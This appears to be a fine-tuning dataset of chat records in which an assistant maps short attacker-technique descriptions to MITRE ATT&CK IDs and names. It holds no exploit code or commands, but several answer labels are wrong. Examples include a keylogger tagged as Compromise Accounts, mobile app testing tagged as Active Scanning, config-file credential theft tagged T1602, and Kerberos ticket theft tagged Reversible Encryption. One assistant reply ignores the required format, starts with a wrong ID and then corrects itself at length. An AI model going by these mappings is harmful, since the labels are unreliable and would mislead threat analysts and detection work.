                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leverages firmware flashing tools to install malicious firmware that runs at power‑on."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro reads the Windows Credential Manager, extracts stored authentication certificates, and generates duplicates for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains access to a valid Azure subscription by compromising a service account password and escalates privileges to manage resources."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends phishing messages on Twitter directing victims to a fake login page to capture their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API for transaction-based file creation, the adversary runs a malicious process disguised as a legitimate one, exemplifying Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Python script to access the IMAP server and download all inbox messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses a CVE in the Windows Credential Guard component to extract NTLM hashes from the system."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by creating a custom web endpoint that only receives data from compromised hosts, employing a one-way communication channel."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant injects a hooking routine into explorer.exe to capture keystrokes from all processes and encrypts the logs before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office add‑in is deployed through Group Policy, causing execution of a PowerShell script each time any Office app is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ IBM Cloud's Secure Gateway to tunnel into on‑premises networks and execute payloads remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion included a stage that encrypts the victim’s home directory, making the system unusable."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the actor signs its payloads with a private key and encrypts the channel with the corresponding public key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a technique to break the original process tree, injecting code into a legitimate process and then hiding the malicious child by altering its PPID."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performed recursive reads of shared folders to collect employee records."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged a compromised Microsoft 365 user account to read emails and exfiltrate attachments."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses HTTP/2 multiplexing to send multiple exfiltration streams concurrently."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uninstalls the Windows Event Log feature via DISM to erase forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging open-source information for phishing attacks"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised internal user account sends phishing emails to coworkers, tricking them into clicking malicious links that install credential-stealing malware."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary intercepts and rewrites inter‑process communication messages in memory to change command outcomes."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor queries the Windows Event Log for system startup events to infer system uptime."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a benign‑looking PDF that actually stores a malicious payload in the PDF's hidden annotations, extracted by a trojan on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker intercepts the device's configuration and changes the RADIUS server settings to authenticate to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a keylogger implanted via a malicious attachment to capture typed credentials on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious SSH command is sent to a network device CLI to change its configuration."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates a WGET request to fetch a secondary payload from a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor inserts a malicious code signature into the Gatekeeper trust database, causing the system to treat the payload as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues a WMI query \"SELECT * FROM Win32_NetworkAdapterConfiguration\" to retrieve network details."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the Windows built-in tool 'dumpcert' incorrectly to attempt LSASS memory dumping, resulting in partial credential capture."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a malicious PowerShell command via the Windows Remote Management (WinRM) service."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Attachment\n\nWait, that doesn't match. Let me reconsider.\n\nThe technique involves executing a malicious PowerShell command through WinRM, which is a remote administration protocol. This aligns with lateral movement or execution via existing remote services, specifically Windows Remote Management.\n\nLooking at the options provided in the list and focusing on \"Execution\" as per the topic path:\n\nCorrect selection:\nT1021.006 - Remote Services: Windows Remote Management\n\nBut wait — this is about **execution** of a command, not just use of remote services. However, within MITRE ATT&CK, using WinRM to execute commands falls under \"Remote Services\" as a sub-technique.\n\nReviewing the list:\nT1021.006 - Remote Services: Windows Remote Management\n\nYes — this is the exact technique used when an adversary leverages WinRM for remote command execution.\n\nFinal answer:\n\nT1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the executable of a legitimate desktop application to embed malicious code and then distributes the altered binary to victims."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses 'reg add' to modify the 'RunOnce' registry key, causing a malicious script to execute on next boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary overwrites and removes persistence scripts placed in /etc/init.d on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvested database connection strings and API keys from the victim's web server configuration files."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify file metadata to set the read-only and hidden flags on infected files."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a custom XOR-encrypted channel over DNS queries to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor exfiltrated data by copying it to a swapped SD card."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool altered the system's firewall configuration by deleting all existing rules and disabling the firewall daemon."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group hijacked the build process of a popular application, inserting malicious payloads and signing them with the original developer's certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a Word document prompts the user to enable macros, leading to execution of a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a misconfigured AWS Lambda function to upload malicious code and gain persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a developer's SSH key and used it to clone the private GitHub repository containing proprietary source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑espionage group employs Bluetooth file sharing to move extracted encryption keys to a hidden receiver."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the default program for .docx files to a malicious executable, causing the payload to run whenever a Word document is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary transfers a malicious ransomware payload to the victim's system via a legitimate file sharing service, then executes it to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a fake DNS entry pointing to a compromised server acting as a domain controller to intercept Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy implant duplicated the legitimate \"taskmgr.exe\" file name and stored itself in the user's Temp folder, attempting to masquerade as the Windows Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script changes the configuration of a database encryption module to use 3‑DES with a 112‑bit key instead of AES‑256."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes SFTP with key‑based authentication to exfiltrate files stealthily."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs automated searches of public cloud asset inventories for misconfigured S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the addresses in the kernel's callback table, the threat actor causes legitimate callbacks to invoke compromised code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recon team gathers data on the victim's operational locations, legal entities, and corporate hierarchy from public filings."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a DNS server, the attacker redirects traffic to malicious IP addresses, enabling interception of data streams."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a web portal’s JavaScript libraries to intercept and log user input during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was signed with a stolen legitimate developer certificate, enabling it to run on systems with strict execution policies that only allow signed code."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Windows Credential Manager to pull stored domain credentials for later use."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app requests the Keychain entitlement and then extracts saved Wi‑Fi SSID passwords for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes an attachment called \"profile.png.vbs\" where the double extension masks the malicious VBScript."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware compromises a Windows DNS service, allowing the attacker to add rogue A records that point to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the mailbox’s forwarding settings, the attacker ensures that any received email is sent to their own address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the attacker resets the targeted cloud instance by restoring from a backup, effectively covering their tracks."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom protocol over UDP to transmit commands while minimizing network footprints."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries utilized the Windows Credential Editor to harvest password hashes from the local security account manager."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom ASCII85 encoding to hide stolen data inside image metadata before uploading to a public image host."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs dsquery or net config to discover password lockout thresholds on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit retrieves the list of mounted drives by querying the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\DosDevices."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor is configured to automatically harvest recent emails and deposit them on a dropbox site."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers simulate an attacker who probes public internet resources to identify any websites owned by the target for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors performed offline cracking of password hashes with a combination of mask attacks and brute‑force techniques."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent foothold is achieved by creating a scheduled task that calls a WMI event subscription to launch malware."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code captures Kerberos tickets, encrypts the ticket data with a reversible scheme, and stores it for later decryption to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates all .bash_history entries to collect API keys typed in the shell."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT drops a payload that calls 'ctr' to run a container with elevated privileges on the victim's host."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential security weaknesses in a mobile application through dynamic analysis and testing."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
